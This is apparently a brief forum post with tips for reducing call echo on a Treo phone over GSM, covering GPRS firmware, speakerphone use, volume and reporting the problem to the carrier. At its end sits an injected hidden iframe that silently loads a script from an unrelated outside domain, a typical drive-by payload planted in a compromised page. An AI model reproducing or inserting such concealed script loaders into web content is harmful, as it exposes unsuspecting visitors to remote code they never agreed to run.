Install GPRS 1.1 or greater if your carrier sanctions it and you do not already have GPRS in the firmware. Echo reduction is in the coding. Beyond this, don't turn on the speaker phone mode if your head is near the Treo during phone calls, reduce output volume slightly. Also keep in mind that echo is partially a problem dependent on the GSM network, especially when you call a landline phone; report your issue to your carrier and have them file a service report for your area.

[i][/]<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>